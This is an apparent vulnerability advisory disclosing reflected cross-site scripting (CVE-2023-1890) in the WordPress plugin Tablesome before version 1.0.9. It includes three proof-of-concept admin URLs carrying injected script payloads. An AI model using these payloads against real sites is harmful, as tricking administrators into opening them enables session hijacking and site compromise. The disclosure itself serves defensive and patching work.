Tittle:
WordPress Plugin Tablesome < 1.0.9 - Reflected XSS

References:
CVE-2023-1890

Author:
Taurus Omar 

Description:
The plugin does not escape various generated URLs, before outputting them in attributes when some notices are displayed, leading to Reflected Cross-Site Scripting

Affects Plugins:
Tablesome - Fixed in version 1.0.9

Proof of Concept:
Make a logged in admin open one of the URL below when the feature/tracking notice has not been dismissed yet

https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&a%22%3E%27%3E%3Cdetails%2Fopen%2Fontoggle%3Dconfirm%28%27XSS%27%29%3E
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&tablesome_feature_notice_dismissed=1&</script><script>alert(/XSS/)</script>
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&can_track_tablesome_events=1&</script><script>alert(/XSS/)</script> 

Classification:
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/8ef64490-30cd-4e07-9b7c-64f551944f3d